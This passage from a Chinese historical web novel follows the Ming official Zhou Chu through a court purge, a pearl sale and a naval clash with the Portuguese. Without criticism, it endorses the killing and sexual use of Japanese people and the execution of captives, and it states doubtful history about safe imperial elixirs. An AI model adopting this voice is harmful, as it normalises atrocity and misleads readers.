谢迁看了半天戏,养了半天神,这才站了出来。 “陛下,臣以为毛阁老难辞其咎,这件事本就是毛阁老和杨方震共同谋划的,臣知道不少细节。” 谢迁此话一出,毛纪猛的看向眼前这个老头。 他怎么都没想到,最后捅自己最狠的,居然是这位。 第303章 毛纪的下场,于心不忍的嘉靖 谢迁说了很多,基本都是对毛纪不利的,而且都是有理有据,并非那些空话。 不过即便如此,想要动一位内阁成员,也绝非易事。 “毛维之,朕实在是没想到,原本朕以为你是老成谋国之人,没想到却是包藏祸心。” 嘉靖看着毛纪,一副恨铁不成钢的模样道。 “陆顺之,将毛维之押入昭狱之中,好好调查一下,如果毛维之真的做下了这些事,朕绝不姑息,如果毛维之没做这些事,就还他一个清白。” 嘉靖根本不给毛纪狡辩的机会,直接看向了下方的陆万山道。 “臣领旨。” 陆万山行礼之后,直接上前来到了毛纪身旁。 “毛阁老,随下官走一趟吧,这样你我都体面。” 毛纪听到这话,顿时一脸破败,意识到自己大势已去,此时自己再说什么,都已经是徒劳,毛纪愣愣地站了一会,转身跟着陆万山离开了朝堂。 原本那两个替毛纪说话的官员,听到谢迁那些话,两人的脸色都变得极为难看,按照谢迁的说法,那毛维之犯下的错真是罪不容诛,自己冒天下之大不韪替他说话,恐怕将来仕途堪忧。 不只是他们俩有这种认知,原本朝堂上和他们关系还不错的那些官员,都下意识的离两人远了些,所有人都清楚,毛纪一案,注定牵扯甚广,这两人为毛纪说话,或许不是出于私心,但两人既然站出来了,就意味着站在了大多数人的对立面。 不说查办两人,贬官外放基本是必然的。 两人都五十多岁了,一旦贬官外放,基本意味着政治生命结束了。 朝堂之上是最现实的,大多数官员都是拜高踩低,像他们两人敢替毛纪说话的,只是极少数罢了。 “退朝吧。” 嘉靖有些意兴阑珊的摆了摆手道。 嘉靖一宣布退朝,很多官员都松了口气,很多人生怕被毛纪一案牵连,从毛纪被带走的时候,他们心中就忐忑无比,除了那些攀附于毛纪的官员之外,之前还有许多官员和毛纪来往甚密,这些人现在都感到无比后怕,生怕因此被牵连。 周楚和其他官员一起下朝,正和杨慎相谈甚欢的时候,黄锦一路小跑追了上来。 “周大人留步,陛下让您去御书房见他。” 周楚和杨慎听到这话,全都停住了脚步。 “陛下对衡器你隆恩正盛啊。” 杨慎半开玩笑道。 “用修兄,本来还想和你去醉仙楼不醉不归的,现在看来是去不了了。” 周楚有些遗憾道。 “酒什么时候都可以喝,快去吧,别让陛下久等了。” 杨慎笑道。 杨慎和周楚经常在一起喝酒,早已成了忘年交,要不是杨慎怕低唐伯虎一辈,两人早就拜把子了。 周楚告别杨慎之后,跟着黄锦来到了御书房。 “衡器,你看看朕的这幅字写的如何?” 嘉靖正在御书房练字,看到周楚到来,顿时来了兴致,拉着周楚就来到书案跟前。 周楚听到这话,看着书案上嘉靖写的字,认真端详。 “陛下这字应该是练了有些年头了,也有名师指点,已经初具气派。” 周楚实话实说道。 嘉靖听到这话,心中很是高兴,如果是其他人这么说,嘉靖会觉得此人在恭维自己,但这话是周衡器说出来的,嘉靖很清楚,周楚完全没必要在这方面恭维自己。 “朕也只是每日闲暇的时候练一练,当个乐子,字画这方面,朕不准备深耕,当年宋徽宗的字堪称一绝,可作为皇帝,他却是不称职的。” 嘉靖嘴上这么说,却是将自己写的这幅字递给了一旁的黄锦,黄锦将它小心收了起来。 “陛下所言极是。” 周楚恭敬道。 “南洋那边进贡了新的一批龙涎香,朕想着上次给你的应该用的差不多了,这个你拿去,没了就和朕说。” 嘉靖说着将一个用金丝楠木做的盒子推到了周楚面前,周楚很清楚,里面不是别的,正是龙涎香。 龙涎香虽然稀少,但放大到整个大明沿海,还是有一些的,自古以来,龙涎香都是专供皇室用的,偶尔有一两块流落民间,很多人也是偷偷地用,根本不敢让人知道。 “对了,这是朕让飞霞子道长炼制的丹药,朕从小就体弱多病,多亏了兴王府的那些道士炼制的丹药,如今身子骨越来越好了,这些丹药之中,朕也加了龙涎香,还有其他一些名贵的药材。” 嘉靖说着又从身后的书架上拿出一个盒子,放到周楚面前。 “你的身子骨是极好的,暂时不用吃,这里面一共是两颗丹药,你替朕带给文孚他爹娘。” 自从陆炜大婚之后,陆炳就被派出了京城,带着一众锦衣卫护送那些各地藩王的世子和郡主,这些人来京城从来都不是什么小事,倘若某个世子在京城附近出了事,就会变得很严重。 所以无论是陆家还是嘉靖,亦或是周楚,对这件事都看得很重,这些人本就是来参加陆家的婚礼的,由陆炳大人护送再合适不过。 周楚拿起盒子,闻了闻里面的丹药香味,关于这些丹药的配方,周楚和飞霞子特意了解过,实际上和周楚原本想的差不多,从宋朝开始,那些给皇帝炼制丹药的道士,就基本不用重金属了。 毕竟重金属炼出来的丹药皇帝吃了的没有一个活得久的,所有人都知道有问题。 从宋朝开始,这些道士炼制好丹药之后,都要为皇帝先试药,就算是为了自己的死活,也没必要继续加重金属了。 飞霞子炼制的这个丹药,更是一点重金属都没有,炼制出来的是纯补药,而且是那种温补,偏向中性的补药,并非那种大热的补药。 这种丹药基本适合绝大多数人吃。 怪不得原本的历史上,替嘉靖试药的几个道士都活到了九十左右,吃了嘉靖丹药的那些内阁大臣,如严嵩徐阶,一个比一个活得久。 这种补药,谁不想吃? “陛下,臣的身子骨倒也没那么好,要是有多的,我也可以吃。” 周楚有些不舍道。 嘉靖听到这话,顿时笑了。 “你才多大,你又不像我,自小身子骨就不好,你这身子骨,说是壮如牛都不为过。” 嘉靖瞥了周楚一眼道。 “那是以前,之前在余姚遭遇刺杀,浑身是伤,元气大伤,身子骨大不如前了。” 周楚说着还假模假样地咳嗽了一声。 这丹药周楚是真的想要,用这丹药配合练武,周楚都不敢想功效会有多强。 “行,下次朕让飞霞子道长多炼一些,给你多留一些。” 嘉靖有些无奈道。 周楚听到这话,顿时心满意足。 “陛下叫臣前来所为何事?” 周楚这才切入正题道。 嘉靖听到这话,这才正了正神色。 “那毛维之如果流放,是不是太狠了些,内阁成员到了他这个年纪,一般都是致仕。” 嘉靖有些于心不忍道。 “陛下,有明以来,我大明对内阁成员宽容成什么样子了?那些内阁成员可曾感念皇恩?可曾报效君恩?可曾想着为天下黎民百姓谋福祉?” 周楚直接反问道。 周楚这话,让嘉靖陷入了沉默,嘉靖很清楚,周楚说的很对,对内阁成员的宽容造就的不是他们的感恩,而是肆无忌惮。 “可是...” 嘉靖有些犹豫道。 嘉靖在乎的是身后名,其实不只是嘉靖,大明的其他皇帝对内阁成员如此宽容,在乎的无非就是身后名罢了,笔杆子掌握在这些人手中,自己在史书上留下什么名声,全看这些人。 “陛下何须担心?如今陛下收复安南,已经是天大的功绩,那些文官如何能抹杀?更何况陛下还平定了倭患,往北正在逐步征服草原,大明的疆土在陛下手中得到了如此大的扩展。” 周楚一边指着御书房之中的地图,一边说道。 “这种事也不是没人做到过,笔杆子终究还是掌握在他们手中,到时候朕百年之后,他们给朕留一个穷兵黩武的名头...” 嘉靖犹豫道。 “陛下,如今臣正在掘这些文人的根,真到了那个时候,这些人说了算不算还另说呢,更何况如今有了东瀛的白银,又有海上贸易,我大明的经济蒸蒸日上,就算是洪武一朝,永乐一朝,也不过如此吧?假以时日,大明在陛下手中,甚至有可能超越汉唐,到了那个时候,谁又能抹杀陛下的功绩呢?” 周楚义正言辞道。 嘉靖虽然城府很深,但终究还是个青年人,顿时被周楚这些话说的热血沸腾。 “好,就按你说的办吧。” 嘉靖终于还是下定了决心。 周楚听到这话,顿时露出了笑容。 眼前这个和自己年岁相当的皇帝,什么都好,就是对手下的官员太过仁慈,或者说不只是他,大明所有的皇帝,除了洪武皇帝朱元璋之外,其他皇帝对这些文官们,都太过仁慈了。 从皇宫出来之后,周楚骑上乌骓马,来到陆家。 “二哥。” 见到周楚,新婚燕尔的陆炜夫妻俩急忙打招呼道。 看着两人一副你侬我侬的模样,周楚想起陆炜之前那副死样子,一时不知道说什么好。 “叔父和婶子呢?” 周楚看着陆炜道。 “我爹在当差,我娘在后院呢。” 陆炜说着就在前面带路。 周楚跟着小两口,很快就来到了杨氏面前。 云瑾此时也在杨氏身旁,两人不知道在聊什么,不时轻笑。 “二哥,毛阁老的事怎么样了?” 云瑾看到周楚之后,问道。 对于周楚这些天谋划的事,云瑾是清楚的,自然也清楚今天的朝会是为了什么。 “他已经被抓进昭狱之中了,估计最后是个流放的罪名。” 周楚说着坐了下来,拿起旁边桌子上的茶水,给自己倒了一杯,一饮而尽。 现在是七月份,正是最炎热的时候,周楚此时一身汗,自然要喝点茶水解解渴。 “赶紧去端凉茶过来,没点眼力劲。” 杨氏瞥了一眼身旁的婢女,说道。 婢女听到这话,急忙去准备凉茶。 “这是陛下让我带给叔父和婶子的丹药,是飞霞子道长炼制的,都是极为名贵的药材。” 周楚说着从怀中取出盛放着丹药的盒子,放在桌子上道。 杨氏听到这话,顿时露出了笑容。 “难为陛下还挂念着我。” 等婢女端上来凉茶之后,周楚干脆直接端起茶壶,往自己嘴里直接倒,一顿牛饮,这才解渴。 “行了,东西带到了,我先回去了。” 周楚说着转身离开了。 一旁的陆炜和杨苒一脸羡慕的看着桌子上的盒子,不用想都知道这盒子里面的丹药绝对是好东西。 “你们夫妻俩给我生个孙子出来,比什么都重要,别什么都惦记,这是陛下给我和你爹的。” 杨氏白了两人一眼道。 “哪能啊?娘,我是那种人吗?” 陆炜满脸委屈道。 “拉倒吧,你小时候偷家里东西出去卖钱还少了?” 云瑾似乎想起了什么,捂着嘴笑道。 陆炜听到这话,老脸一红。 “那都是多少年前的事了,我早就改邪归正了。” 陆炜有些不满道。 “行了,你先回前院吧,我和小苒说说话。” 杨氏摆了摆手道。 陆炜听到这话,有些不舍地看着杨苒。 “行了,腻歪不腻歪!” 一旁的云瑾看着两人这副作态,调侃道。 杨苒听到这话,脸色一红。 陆炜离开后,杨氏这才拉过杨苒的手。 “我跟你说,想要怀男孩,就得....” 杨氏跟自己的这个表侄女传授起了生孩子的经验,细说了一些如何怀男孩子的方法,如何怀女孩子的方法,听的杨苒和一旁的云瑾都面红耳赤。 周楚回到家中之后,闲来无事,穿上常服,信步来到了云桂坊总店。 “大人。” 云桂坊的掌柜的看到周楚,急忙躬身行礼道。 “忙你们的就行。” 周楚摆了摆手道。 掌柜的听到这话,这才有些忐忑的继续招呼客人。 周楚在这里,可比沈青在这里给他的压力大多了,他生怕那句话说错了惹的这位大东家不高兴。 周楚来到柜台里面,看到柜台上放着一颗滚圆的珍珠,直接拿了起来,仔细端详。 “这珍珠倒是不错,很少能见到这么圆的。” 周楚说道。 一旁的掌柜的听到这话,来到周楚面前。 “大人,这是根据您之前提供的方法,养殖出来的珍珠,现在这种珍珠刚刚养殖出来,未来产量会很大。” 掌柜的低声道。 “控制数量,不管产出多少,以后市面上只出售很有限的,把价格保持在原本的价位,多的珍珠,售往海外。” 此时的周楚仿佛又恢复了之前自己的商人身份,一谈到生意,周楚脑海之中顿时有了无数主意,看着掌柜的侃侃而谈道。 掌柜的在一旁将周楚的话一字一句全都记了下来。 第304章 周楚胡编的故事,诡异的女人 “小二,你手上这颗珍珠怎么卖的?” 周楚刚和掌柜的说完,走过来一个女的,这个女人很漂亮,也很年轻,而且有种说不上来的气质。 旁边的掌柜刚想说话,被周楚用眼神制止了。 周楚转过头来,面色诡异地看着面前的女人。 周楚出门的时候,随意穿了一件衣服,却也和跑堂的打扮搭不上边,眼前这个女人这般做派,要么是没脑子,要么是故意的。 “你说这个珍珠啊,这珍珠来头可大了,采珠女听说过吗?”尛說Φ紋網 周楚看着女人,煞有介事道。 女人听到这话,点了点头。 “听我娘说过,说是东海专门负责下海采珍珠的叫采珠女,也叫采珠奴,一般这种女人命运都很悲惨。” 周楚听到这话,倒是有些意外。 “既然知道,你还要买?” 周楚看着女人说道。 “我买与不买,也改变不了她们的命运,我不买,自然有的是人买。” 女人理所当然道。 周楚听到这话,点了点头,看向女人的眼神愈发诡异。 “这颗珍珠就是一个采珠女踩的,她原本有一个喜欢的人,是一个秀才,为了供秀才科举,她主动成为了采珠女,可惜后来秀才高中之后,背信忘义,抛弃了采珠女,这是那个采珠女采的最后一颗珍珠,之后那个采珠女就跳海了。” 周楚信口胡诌道。 “啊?那秀才是谁?” 女人满脸震惊道。 “去年被北镇抚司查办,斩首了。” 周楚胡编道。 “该,这就是报应。” 女人意有所指道。 “这颗珍珠本店一直保存着,也没想着卖,当然,要是遇到适合她的主人,自然是再好不过,价格你看着给吧,你看给多少合适,就给多少。” 周楚看着女人说道。 “这珍珠的故事太过凄美,给低了就玷污了它,一万两吧,你看可以吗?” 女人说完,有些忐忑地看着周楚。 珍珠无论是在明朝还是在清朝都是极其昂贵的,珍珠的价格在清朝达到了顶峰,清朝的檐曝杂记之中对珍珠的价格有着详细的记载,一颗龙眼大小的珍珠,要价一万两白银。 周楚手中的珍珠属于人工珍珠,但珍珠这东西,人工的和天然的本身就没多大区别,甚至人工的因为生产的数量极多,还能产出更完美形状更好的。 周楚手中的这颗珍珠也有龙眼大小,本就是这一批人工珍珠之中最好的几颗之一,之所以被掌柜的放在柜台上,完全是因为掌柜的知道这东西怎么来的,心里就没觉得这东西能多值钱。 此时珍珠的价格还不像清朝那么夸张,一颗龙眼大的珍珠一般也就三五千两,远远达不到一万两的价格。 即便龙眼大的珍珠很罕见,就算是这批人工珍珠之中也仅此一颗,但这个价格仍然让一旁的掌柜的目瞪口呆,此时的掌柜的有些后怕,他方才把这颗珍珠就这么随意的放在柜台上了,要是被人顺走了,他真是死都没地方死去。 “是不是太低了?可我现在只有这么多钱了。” 女人眼看着周楚不搭话,顿时有些急了。 周楚听到这话,叹了口气。 “我说了,你与它有缘,给多少都行,一万两就一万两吧。” 周楚一副吃了亏的模样道。 “太好了。” 女人说着取出一沓皇家钱庄的银票,递给了周楚,似乎生怕周楚反悔。 周楚接过银票,将珍珠递给了女人。 女人将珍珠小心翼翼地装进荷包之中,这才带着侍女离开了云桂坊。 女人离开后,周楚脸色瞬间收敛。 “这个女人以前来过铺子里没有?” 周楚看着掌柜道。 “来过,这位是大商人汪拢的女儿,叫汪明月。” 掌柜的急忙说道。 “汪拢.....” 周楚念叨着汪拢的名字。 “查一查这个汪拢和汪明月。” 周楚出了云桂坊之后,看向沈炼道。 沈炼听到这话,点了点头,冲暗处摆了摆手,一个锦衣卫瞬间来到了周楚大柱和沈炼三人面前。 “去把汪拢和汪明月的卷宗拿过来,大人要看,另外,让人再查一查这对父女。” 沈炼吩咐道。 “属下这就去办。” 锦衣卫说完之后,行了一礼,转身离开了。 方才周楚故意说了采珠女的故事,从这个汪明月的反应来看,她并非那种无脑的女人,应该属于很理智的。 那么她这前后的表现就很矛盾。 “属下觉得这位汪小姐可能早就心悦大人,想以此引起大人的注意也说不定。” 沈炼打趣道。 周楚听到这话,瞥了一眼沈炼。 “倒是很少见你开玩笑,对了,你可有心仪的姑娘?要是有的话,我让人去保媒拉纤。” 沈炼跟着自己这么久,周楚自然知道他的薄弱点在哪,一句话给沈炼说脸红了。 沈炼挠了挠头。 “没有.....” “多看看,多瞧瞧,有看重的就和我说,不孝有三,无后为大,得早日考虑。” 周楚拍了拍沈炼的肩膀道。 旁边的大柱看到这一幕,嘿嘿直乐。 “你笑什么,我光说他没说你?你也多瞧着点,有看重的姑娘和我说,你爹娘不在京中,你的婚事还得我操心。” 周楚有些恨铁不成钢道。 大柱听到这话,顿时乐不出来了。 周楚刚回到家,锦衣卫的人就把汪拢父女的卷宗送了过来,周楚一边喝着茶一边看着。 汪拢,京中有名的大商人,主要经营的是煤炭,似乎和山西的那些商人来往甚密,身价有上百万两。 汪明月是汪拢的女儿,而且还是独女,汪拢只有这么一个女儿,夫人死后再也没有续弦。 看到这里,周楚愈发觉得汪明月这个女人身上透着一股诡异。 从汪明月对采珠女的故事反应来看,这个女人并不是那种很不理性的,一万两白银无论对谁而言都是一笔不小的钱。 特别是汪拢家满打满算也就上百万两,这个女人拿出一万两买一颗珍珠居然毫不心疼。 怎么看怎么不对劲。 即便汪拢再疼爱这个女儿,但汪拢家里就这么多钱,钱的总量决定了一个人平日里花钱的额度。 汪家倘若只有一百万两左右,汪明月这么花钱的话,家产恐怕早就花光了。 “让他们仔细查一查这个汪明月。” 周楚看着沈炼道。 第305章 林廌回京,齐良前往东瀛 林廌回京了,在东瀛大半年的林廌,早就想家了,东瀛很好,对林廌而言甚至如鱼得水,林廌在东瀛可谓是无法无天,想干什么就干什么。 实际上不只是林廌,大明的将士在东瀛都是无法无天的,对那些东瀛人动辄打杀,对于这些人的做法,汪直每次知道了也只是言语上说几句,实际上从未管过。 汪直一直记得周楚的叮嘱,对于东瀛人,不必心存怜悯之心。 但东瀛再好,对林廌而言也是蛮夷之地,东瀛的女人玩多了,林廌觉得毫无乐趣,他甚至开始怀念起教坊司了。 于是他早早地向皇帝写了奏疏,申请回京。 对于自己这个表弟,嘉靖自然不会苛责,监视汪直的人可以是任何人,不一定非得是林廌。 对汪直而言,皇帝派人在他身边,反而能让他更安心,更死心塌地的为大明做事,因为汪直一直以来都只有一个心思,光宗耀祖,当初他爹死了连个名字都不配拥有,从那以后他就暗暗发誓,一定不能在成为海盗。 这也是周楚选择汪直的根本原因,如果让林廌做这个统领,以林廌的性格,在东瀛是呆不久的,而且历史已经向周楚证明了汪直对大明的忠心和能力,这样一个人放着不用,简直是浪费。 嘉靖收到林廌的奏疏之后,就派人前往东瀛替换林廌了,至于汪直,本就是无家之人,在东瀛待几年也无所谓。 新派去的人也很有讲究,倘若此人到了东瀛,拿着鸡毛当令箭,一直以皇帝使臣对汪直颐指气使的话,汪直哪怕是再忠心,恐怕也受不了。 就像当初建文帝朱允炆派往各地藩王的使臣,完全没把那些藩王当人,即便藩王原本没想着反,也不得不反了。 新派去的使臣不是别人,正是仁和公主的大儿子齐良,锦衣卫指挥佥事。 齐良的身份和林廌相当,但能力和职务都要比林廌高很多,齐良在正德十四年就是锦衣卫指挥佥事了,虽说只是正四品,但锦衣卫见官大三级,锦衣卫指挥佥事主要负责屯田和练兵,所以齐良一向低调,名声不显。 齐良出发前往东瀛之前,嘉靖还特意让他去找了一趟周楚,嘉靖就是要让周楚交代清楚齐良该怎么做,千万别头脑发热。 身为锦衣卫佥事,齐良这两年以来对周楚这位锦衣卫指挥使可谓是言听计从,对周楚做的事更是佩服的五体投地。 正德皇帝朱厚照,正是他的表兄,上一任锦衣卫指挥使更是对他极为看重,这才让他年纪轻轻就成了锦衣卫佥事,远离朝堂纷争。 江彬被指控谋反的时候,齐良是无论如何都不信的,他想为江彬说话,却被江彬阻止了。 “没用的。” 齐良至今都记得江彬那充满绝望的眼神。 直到那个时候,齐良才明白,原来真正掌控朝堂,掌控京城的,从来都不是皇帝,也不是锦衣卫,而是那些文官们。 之后又过了半年时间,皇帝朱厚照也死了,这让齐良脊背发寒的同时,内心对那些文官们的憎恨也达到了极点。 但他却没有一点办法,他甚至明知道正德皇帝是杨廷和等人害死的,却毫无办法。 后来他的另一个表弟,朱厚熜继承了皇位,原本在齐良看来,自己的这位表弟贸然前来京城,无异于只身独闯龙潭虎穴,齐良原本以为朱厚熜也会惨淡收场,要么成为文官手中的傀儡,要么再被那些文官害死。 直到一个男人的出现,锦衣卫指挥使周楚。 当初齐良得知新皇帝居然任命一个十几岁的少年为锦衣卫指挥使的时候,觉得朱厚熜实在是昏了头,或者是年轻气盛,自己都不知道自己在干什么。 直到周楚这位锦衣卫指挥使一上来就抓了几十个官员,甚至杀了礼部侍郎廖峰的时候,齐良这才清楚,自己看错了皇帝,看错了这位,指挥使大人。 自那以后,齐良无论是在任何人面前,称呼周楚的时候,都要加上指挥使大人这个称呼。 他做不了的事,周楚帮他做了,他想都不敢想的事,周楚却是一步步做成了。 皇帝掌权了,锦衣卫掌权了。 齐良如坠梦中。 “大人,陛下让我来见您。” 齐良来到周楚面前,神情恭敬道。 周楚听到这话,点了点头。 “陛下让你去东瀛,你知道是让你去干什么的?” 周楚看着齐良,问道。 “陛下让属下去监管那汪直。” 齐良说道。 “那你该怎么做?” 周楚瞥了一眼齐良,问道。 齐良听到周楚这么问,一时之间拿捏不清该如何回答了。 “还请大人明示。” 齐良躬身行礼道。 “你要记住,将来会一直在东瀛的,是汪直,不是你,也不是林老二,你们俩顶多轮流换班,但东瀛的大局,还需要汪直主持,这么说,你能听明白吗?” 周楚吃了口点心道。 “属下明白了,大人是让属下只负责监管,别发表意见,不要指指点点。” 齐良一点就通,躬身道。 周楚点了点头。 “没错,你在东瀛,东瀛的女人随便你玩,东瀛人也随便你杀,你做什么都没人管,也不会有人问,但有一点,对于汪直做的事,不要指指点点,你只需要多听多看,将汪直做的事一五一十的汇报给陛下就可以了。” 齐良听到这话,瞬间明白了周楚的意思。 “大人放心,属下一定按照大人吩咐的去做。” “滚蛋吧。” 周楚有些不耐烦的摆了摆手。 齐良听到这话,这才恭敬退去。 齐良出发前往东瀛的时候,刚好是陆炜大婚结束的时候,实际上他刚开始前往东瀛的时候,林廌就乘船开始返回京城了。 林廌为了快点回到京城,甚至没有乘坐运银船,运银船载重太大,行进的速度很慢。 他单独乘坐一艘独属于虎贲军的战船,从东瀛回到天津码头也只用了一个月左右。 林廌回京,最激动的无异于德清公主。 以前他天天在家的时候,德清公主怎么看他怎么觉得不顺眼,现在一年多没见,看着眼前变黑变瘦的林廌,德清公主心疼的眼泪都掉下来了。 “娘,你哭啥。” 林廌一脸不解道。仦說Ф忟網 “你个没心没肺的,一走就是一年多,后来还去了东瀛,娘能不担心吗?” 林瑶翻了个白眼道。 林廌听到这话,有些不好意思地挠了挠头。 “我也想娘啊,要不也不会急着回京。” “去见过衡器没有?你能有今日,多亏了衡器栽培。” 德清公主看着林廌,语重心长道。 第306章 林廌的心思,小刀的想法 “大人。” 林廌来到周楚面前,神情恭敬道。 此时的林廌早已没了当年的稚嫩,虽然仍旧有些纨绔做派,但也只是在京城,或者在东瀛的时候,一旦有正事,林廌很快就能进入状态。 毕竟能在玄武军之中混这么久,靠的可不是他公主儿子的身份,在玄武军之中,倘若林廌本身太过拉稀,没人会看得起他,也没人会因为他的身份对他另眼相待。 无论是玄武军还是虎贲军,从来都是极为铁血的部队,当然,周楚和云瑾给他们带来的不只是高强度的训练,还有足够多的军功和军饷。 这两个部队的军饷已经被周楚预存到不知道多少年之后了。 “行啊,知道行礼了。” 周楚打量着眼前一年多没见的林廌,调侃道。 林廌听到这话,有些不好意思地挠了挠头。 “我可是听说你小子在东瀛没少祸害,天天睡在大名府?” 周楚继续调侃道。 “大人,属下确实有些放浪形骸了,还望大人恕罪。” 林廌急忙躬身行礼道。 “罢了,左右也不是什么大不了的事,能这么久才回京,倒是出乎了我的预料,看来你确实成熟了不少。” 周楚说着看了看桌子上林廌带过来的礼物,这些周楚不用想都知道是德清公主替他备下的,这小子心里哪有这些事。 “大人,属下这次回京,还有一件事,望大人成全。” 林廌郑重行礼道。 “什么事?说说看。” 周楚饶有兴致道。 “属下想向小刀姑娘提亲。” 林廌想了许久道。 周楚听到这话,先是一愣,没想到这小子还存着这样的心思,不过周楚却也没有立刻答应下来。 “这事回头我问一问小刀自己的意见,她如果同意,我是没意见的,不过你也别抱太大期望,小刀的性子你是知道的,自小没说过规矩,野惯了,你们公主府里的规矩太大,她未必愿意。” 周楚缓缓道。 林廌听到这话,眼神一黯,这个问题他不是没想过,却没想到什么好的解决方法,让他为了小刀抛弃公主府,那是不可能的,他娘从未做过任何对不起他的事。 “还请大人帮忙问一问。” 林廌有些不死心道。 周楚听到这话,点了点头。 “你在这里等着吧,我去帮你问问。” 周楚说着起身离开了书房,来到了隔壁庭院之中,这次周楚明显能闻到庭院之中的药味淡了不少,想来是老乞丐的身子骨好了不少。 “小刀,少爷来了。” 老乞丐的耳朵那叫一个灵敏,周楚进来的时候没有刻意隐瞒,脚步声自然瞒不过老乞丐的耳朵,周楚还没进门,老乞丐冲门外大喊道。 老乞丐的屋子里有婢女伺候着,小刀倒也不用一直守着,多数时候都在后院不知道自己在琢磨些什么东西。 小刀听到这话,急忙翻过院墙,来到前院,周楚面前。 “老金的耳朵还是这么灵,看来身子骨恢复的差不多了。” 周楚来到老乞丐屋子里,笑道。 “多亏了少爷不计成本的为我这个老头子买药,不然恐怕去年冬天都熬不过去。” 老乞丐此时面色红润了不少,虽说仍然下不了床,但看这模样,离下床也不远了。 “公主府的二公子回来了,他来看我,跟我提了一件事。” 周楚说完这话看向了一旁的小刀。 老乞丐何许人也,周楚只是一个眼神,他瞬间明白了周楚没说的那些话是什么。 “林公子向小刀提亲了?” 老乞丐问道。 周楚点了点头。 一旁的小刀被这突如其来的信息整的有些发懵,因为在这之前她完全没把林廌当回事,她甚至和林廌之间没见过几次,这位公主府的二公子为何突然向自己提亲? “你怎么看?” 老乞丐看向了小刀,问道。 小刀摇了摇头。 “我不知道啊,我都快把这位林二公子忘了,这是弄的哪一出?” 小刀有些苦闷道。 “你终究是要嫁人的,但要嫁给什么人,你要好好考虑清楚,公主府是除了皇宫之外,这天下间规矩最严的地方之一了,你自小就没规矩,倘若嫁到公主府去,恐怕处处不如意,到了那个时候,想要后悔可就完了。” 老乞丐看着小刀,语重心长道。 老乞丐的看法和周楚如出一辙。 正所谓门当户对,门当户对讲究的不只是出身门第这些东西,主要是和出身门第配套的教养,相同出身的两个人成婚,女人嫁过去只会感觉如鱼得水,并不会感到被规矩束缚了,因为她自小学的就是这些规矩,早已习惯了。 即便是杨苒和陆炜,两人的出身看似差了不少,杨苒再怎么说也是书香世家,教养那是没得说的,在陆家还有杨氏这个本家人撑腰,自然不会受气。 人和人主动是不相同的,或许会因为荷尔蒙互相吸引,但如果要成婚的话绝非这么简单。 更何况现在的小刀对林廌还没有任何感觉。 小刀听到这话,脑补了一下,随后急忙摇了摇头。 “不要不要,我才不要嫁到公主府,我干嘛要嫁人?以后就给少爷当婢女不就行了?” 小刀想了想,倘若自己给周楚当婢女的话,似乎不用嫁人,大户人家的婢女到了年纪,可以自行离府出去大婚,要么留在府中,年纪大了就是府中的嬷嬷。 “说什么傻话呢?你只是还没遇到自己喜欢的人罢了。” 周楚白了小刀一眼道。 “我才没说傻话,那些男人有什么意思?我从小就在男人堆里长大的,都把他们当哥们,一想到和男人大婚,还要相夫教子,我就受不了。” 小刀嘟囔道。 “行了,他还在我家等着呢,我先去给他回话。” 周楚摆了摆手,懒得听小刀这些话。 “我说的哪里不对吗?” 小刀看着老乞丐,一脸疑惑道。 “少爷只是不想让你自降身份罢了,你本身就是去千金大小姐,你如果想的话,少爷可以帮你恢复你们家,你仍然是千金大小姐。” 老乞丐叹了口气道。 “那有什么用?我们家就我一个了,我如果嫁了人,那岂不是被吃了绝户?什么都没了?我看过话本,被吃绝户的女的,没几个有好下场的。” 小刀满脸不屑道。 老乞丐听到这话,顿时不知道该如何反驳了,他又何尝不知道,这条路对小刀而言,也未必是什么好路。尛說Φ紋網 周楚回到自己府中,来到书房,看到了等候已久的林廌。 “大人,如何?” 林廌满脸期待道。 周楚摇了摇头。 林廌看到周楚这副模样,眼神愈发黯淡了。 第307章 大明海军抵达弗朗机,汪明月的身份 与此同时,大明第一批前往西方的船队,经过在海上经过三四个月的航行,终于抵达了佛郎机国的海域。 刚进入弗朗机的海域没多久,大明的船队就遭遇了弗朗机的两艘海盗船。 这让明军的将领何文勋瞬间兴奋了起来,他原本是玄武军的一名千户,是周楚第一批挑选出来的人,原本也是锦衣卫的储备人选,却选择了加入当时的虎贲军,后来又从虎贲军被分到了玄武军之中。 进入玄武军之后,因为何文勋自小就有家传武学,再加上玄武军那高强度的训练以及何文勋极其强硬的军事素质,他很快就被升为百户,最后被升为千总。 千总只是玄武军的极限,不是何文勋的极限,毕竟玄武军只有两千人左右,能成为玄武军千总,已经说明了何文勋的军事素养和能力,以及对大明和皇帝的忠心。 这次前往西方的船队,就是由何文勋带队,随行的还有三千士兵,以及大明的一众商船。 当然,还有随行负责监察何文勋的皇帝近臣,这些都是必要的,毕竟西方距离大明万里之遥,一旦还是放一个人在何文勋身边的,人心都是随着环境而变化的,何文勋在大明的时候忠心耿耿,不代表他到了这里还会一直忠心耿耿。 弗朗机的两艘海盗船看到这么大的船队,第一反应不是恐慌,而是兴奋,因为他们弗朗机人在附近这片海域早已所向无敌,这么大的船队,他们不敢想这些人得有多富有。 弗朗机人也是吃了没有望远镜的亏,原本的历史上,望远镜要在近百年之后才出现,但现在大明的每一艘船上面都配备着望远镜。 等弗朗机人靠近了些,看到那一排排黑洞洞的炮口,双方已经离得很近了,弗朗机人顿时大惊失色,急忙让手下填充炮弹,准备射击。 弗朗机人的炮弹还未填充好,何文勋站在瞭望台上,手中的战旗一挥,十几艘战舰一轮齐射,这两艘海盗船瞬间被打的千疮百孔,支离破碎。 “靠近点,抓个舌头。” 何文勋下令道。 之前他们玄武军攻打大明附近的那些弗朗机人的时候,也抓了一些活口,这些人被关在京城很长时间,无论是周楚还是皇帝就让他们做一件事,教授大明的一些有语言天赋的人弗朗机语。 当然,这些人也学了大明话,但无论是周楚和嘉靖,从来都不会把希望放在这些外人身上,倘若这些人在翻译的过程中使坏,没人听得懂,造成的后果往往是致命的。 所以弗朗机语必须掌握在自己的人手中。 何文勋船上,就有几个会弗朗机语的文官,虽说说的还不是特别流畅,但正常沟通是没有任何问题的。 很快,明军就从破碎的船板上捞起来十几个弗朗机人,至于其他人,直接就地射杀。 “你们是弗朗机官方船队,还是海盗?” 何文勋船上懂弗朗机语的文官看着其中一个弗朗机人,问道。 “我们是海盗,海盗。” 那人慌忙道。 他可不敢承认他们就是弗朗机的海军。 弗朗机的海军冒充海盗在这附近的海域烧杀抢掠不知道多久了,一向是无往不利的,没想到今天遇到对手了。 何文勋听到文官的翻译之后,看着眼前的这个弗朗机人,眼神诡异。 “把他扔到海里喂鱼。” 何文勋冷笑道。 其他的弗朗机人看到此人的下场之后,一个个极其愤怒。 